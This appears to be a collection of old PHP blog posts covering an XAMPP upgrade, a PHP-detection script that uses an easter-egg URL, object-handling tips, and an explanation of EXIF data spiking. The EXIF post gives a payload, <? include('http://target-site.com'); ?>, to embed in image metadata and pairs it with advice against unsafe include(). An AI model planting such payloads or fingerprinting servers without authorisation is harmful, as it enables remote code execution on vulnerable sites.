My guide will describe how to upgrade the current XAMPP PHP version to the second release candidate of version 5.3. It is expected that this method will also work for the third release candidate when it is released later this month.

Step 1: Make backups

Before starting, make sure to backup any settings, custom modules and most importantly the htdocs directory, which contains your scripts and page resources. This directory is normally located at C:\xampp\htdocs\

Step 2: Preparation

1. Download PHP 5.3.0rc2. I use the VC6 build in order to minimise any potential compatibility issues.
2. It is also recommended that you download the latest Windows version of XAMPP. While this is an upgrade guide that should work with previous versions of XAMPP, it is recommended that a fresh copy of the core files is used.
3. Stop any instances of the Apache service that might be running.

Step 3: The upgrade

This guide will assume your XAMPP directory is C:\xampp\

1. Extract the XAMPP archive to a directory of your choosing, I would recommend using the default C:\xampp\
2. Extract the contents of the PHP archive to C:\xampp\php\, overwriting the contents of this directory with the new files.
3. Open the file C:\xampp\apache\conf\extra\httpd-xampp.conf and ensure the following lines are present in this order:

   LoadFile "/xampp/php/php5ts.dll"
   LoadModule php5_module "/xampp/apache/bin/php5apache2_2.dll"

4. Replace C:\xampp\php\php.ini with C:\xampp\php\php.ini-dist
   Uncomment the lines:

   ;extension=php_mbstring.dll
   ;extension=php_pdo_sqlite.dll

   Replace the line

   magic_quotes_gpc = On

   with

   magic_quotes_gpc = Off

5. Copy all files in the C:\xampp\php\ to C:\xampp\apache\bin\ (do not copy the subdirectories or their contents).

After following the above steps, restart your Apache service (this can be done using C:\xampp\xampp-control.exe or manually through the control panel/command prompt). Your PHPinfo should indicate that the upgrade has been successful.

I will update this post if I discover any problems from using this method, or a cleaner (automated) means of performing the upgrade.

More information will be provided once I've modified the framework core to adopt some of the most important changes. The Fyrwerks development site will be uploaded when I get around to finishing it (I am hoping to use the first developmental release to power it!).

//-plasm!d-//

While I can't give away too many details just yet, the following are some of the features you can expect to see in the first release:

• A structured framework for installing and maintaining custom PHP web apps.
• Libraries dedicated to simplifying and object orientating repetitive or complex tasks
• Fast script execution and reliable communication channels between different services.
• Compact and easy to set-up.
• Fully GoPHP5 compliant.

The development site is located at http://fyrwerks.com, some early demos should be available from next month.

Check back soon for updates!

//-plasm!d-//

	$exts = get_loaded_extensions();

	foreach($exts as $ext) {
		$flist[$ext] = get_extension_funcs($ext);
	}

	print_r($flist);

This is a nice starting point if you wanted to write a script that determines whether the server you're installing onto has the necessary PHP extensions loaded.

I thought I'd make a little script that takes advantage of this easteregg and the inherent format of GIF image files to determine whether PHP is running on a remote server.

<?php

	// Configuration.
	$url = 'http://www.example.com/'; // Replace with whichever URL.

	// Open the connection.
	$handle = @fopen($url.'?=PHPE9568F36-D428-11d2-A769-00AA001ACF42', 'r');
	if($handle)
		echo("Handle active...\n"); else
		die("Error creating handle!\n");

	// Import data into buffer.
	$buffer = fgets($handle, 4);
	if($buffer == 'GIF') // <- part of the binary header for GIF files.
		echo("This server is using PHP!\n"); else
		echo("This server is NOT using PHP!\n");

	// Close up, clean up.
	$ret = fclose($handle);
	$handle = NULL;
	if($ret)
		echo('Success!'); else
		die('Failed to close handle!');

?>

Don't forget to replace $url with the server address before using this script.

This is quite irritating, as previously the default behavior would be to return a unique object identifier. However, there is a quick workaround for this problem should your script rely upon object string casting / this unique object identifier.

The Fix

When creating your class, add in __toString() as a function. This so-called 'magic function' is called when trying to cast an object to string, such as (string) $someObject. The following combines this function with a call to spl_object_hash(), which provides an identifier hash for the object:

<?php

class SomeClass {
	function __toString() {
		return spl_object_hash($this);
	}
}

$someObject = new SomeClass;
echo $someObject;

?>

The above code is fairly self-explanatory and it saves you from at least a few of minutes banging your head on the table :-)

After reading through a couple of tutorials describing the ease with which PHP can be included directly from the EXIF data within a JPEG image, I became suspicious. Surely my eyes deceive me? Is this a late April Fools'? My first point of call was Google - which provided me with a wealth of information on EXIF functions from within PHP, but very little regarding this particular vulnerability.

There was nothing for it... time to jump in and see what the fuss was about!

Theory

In fairness, this tutorial is more of a reminder about general file security and good PHP inclusion practices. The JPEG EXIF data example is particularly illuminating in both of these aspects.

Most modern cameras and image recording devices save embedded data within their photos; this often includes the camera model, the date and time of the photograph, author information, orientation etc. This is fantastic for Joe Public, who can come home after a night of drunken debauchery, sling the camera memory card in it's reader et Voila! - pictures recounting his sordid antics are arranged chronologically on his desktop for later viewing... GREAT!

However, it is by this very same mechanism that an unscrupulous individual could include malicious PHP in an otherwise secure website.

The core of the issue is simple - EXIF data is stored as plain text within JPEG files. This is problematic in scenarios where users are allowed to upload their own images. For example, if a forum page is engineered in such a way as to allow the arbitrary inclusion of a locally uploaded JPEG image, there is the opportunity for EXIF data spiking to take place.

Method

1. Open up a JPEG with an image editor that supports EXIF data modification (e.g. PSP or PS work just fine).
2. Find the option to view image information and select EXIF Information.
3. Paste the following into an editable field (e.g. 'Image Title'): <? include('http://target-site.com'); ?>.

This is a very simple example where remote inclusion can take place (server settings permitting). To use, all that is required is a page where you're able to include() the image itself using $_GET[] or otherwise. During the include process, the file is read as plain text and the PHP code is executed.

The same effects can be replicated by including a file that contains plain text PHP code (e.g. text files, Word Documents, etc).

Conclusion

As my original suspicions confirmed, EXIF data manipulation as an exploit is simply too good to be true. I concede that there is potential for misuse (especially on poorly coded sites and forums) as image uploads are an integral aspect of almost every modern website. However, the fault often lies with individual weak scripts that are very easy to fix. The cause of this problem is because there is a tendency for programmers to be satisfied with dangerous PHP code!

How to avoid this affecting you

Never, I repeat - NEVER use $_GET[] to retrieve a file path for inclusion. Use databases or (if absolutely necessary) internal variables to hold file paths and make inclusion by reference to these, not what you get from the users browser. Also make sure to rigorously test your scripts before deploying them and (if you're particularly paranoid) selectively fuzz them whenever you make changes! Take heed of this and you're flying ;-)

As of PHP v5.2.2 objects do not have a default response to being cast to (string). To make this tutorial work with newer PHP builds, use spl_object_hash() in place of string casting.

Introduction

When a new object is created in PHP it is assigned an internal numeric id value. The only way to destroy an object (thereby deleting its internal id) is to unset() or nullify (=NULL) all references to the object from within the script. It follows that when an object is destroyed, PHP will fill the lowest id available for the next object. For example: if objects with ids 4, 5 and 6 exist - by destroying 5, the next two objects created in PHP will have id 5 and then id 7!

These rules can be exploited to provide a much faster object in_array()!

Theory

Comparison of multidimensional objects will almost always be more processor intensive than string comparison. It occurred to me that a great deal of time could be saved by identifying objects in an array as strings. However, conventional approaches using serialize() tend to exacerbate the problem further as the function itself is quite slow. The following is the proposed function with a demo on how it could be implemented.

/***
	The proposed object_in_array function.
	***/
	function object_in_array($needle, $haystack) {
		/***
		Arguments:
			(object) $needle - The object being searched for.
			(array) $haystack - The array containing objects.
		***/
		$stringArray = array_map(create_function('$in','return (string)$in;'),$haystack);
		$objectString = (string)$needle;
		return in_array($objectString,$stringArray,TRUE);

	}

	/***
	Prepare an object needle.
	***/
	$needleObject = new stdClass;

	/***
	Prepare a sample array including the
	needleObject.
	***/
	$objectArray = array(
		new stdClass,
		new stdClass,
		new stdClass,
		$needleObject
	); 

	/***
	Uncomment the block  below to perform
	an analysis of a much larger array.
	***/

	/*
	for($i=0;$i < 50000;$i++) {
		$objectArray[] = new stdClass;
	}
	$objectArray[] = $needleObject;
	*/

	/***
	Start time-stamp
	***/
	$timeStamp = get_micro_time();

	/***
	NOTE: The print() function is included
	in the time analysis as it doesn't contribute
	much to the overal time required.
	***/
	print(object_in_array($needleObject,$objectArray) ? "Found!\n" : "Not found!\n");

	/***
	End time-stamp and display.
	***/
	$timeStamp = round(get_micro_time() - $timeStamp,6);
	print("Search duration: $timeStamp ms");

	/***
	Auxillary timing function. Sorry,
	I can't remember where I got this function
	from or I would credit the author! Google it :-p
	***/
	function get_micro_time() {
		list($microSec, $sec) = explode(" ", microtime());
		return ((float)$microSec + (float)$sec);
	}

The above can be further optimised (clean-up the temporary array, etc.) but serves to show how the array can be copied, recast and used as a search reference for objects. Modification of the above to use the conventional in_array() or foreach() looping drastically increases the duration of the search! With very little modification to the code, the function could even return the object directly and retain the same array processing speed.

A footnote...

I had previously toyed with the idea of using a single array, casting the objects to strings and storing these as the key for each item (then using array_key_exists() ). If you're not too worried about using the array keys / don't use them to store useful data, this latter method can be ten-fold faster than the above example!

Demonstration:

class TestClass {

 	public $VarA = 'I am public!';
 	private $VarB = 'I am private!';
 	protected $VarC = 'I am protected!';

}

$NewInstance = new TestClass;

print($NewInstance->VarA); /* No problem */
// print($NewInstance->VarB); /* Error */
// print($NewInstance->VarC); /* Error */

$NewInstance is initiated as an instance of TestClass. $VarA can be easily accessed using $NewInstance->VarA, however trying to access VarB and VarC in the same manner will generate an error as they are designated inaccessable outside the current class (or sublcasses in the case of VarC). It is sometimes necessary to access Private and Protected object variables and this can be achieved very easily using just one line of code:

 	var_dump( (array) $NewInstance );

This will generate a dump containing a list of all object properties, including private and protected variables. Each will have an assigned key that follows the pattern of:

["?class name?private property name"] = PRIVATE PROPERTIES
["?*?protected property name"] = PROTECTED PROPERTIES

By type-casting to an array, the object properties are forcibly revealed in the same way you can reduce an object to a string using serialize().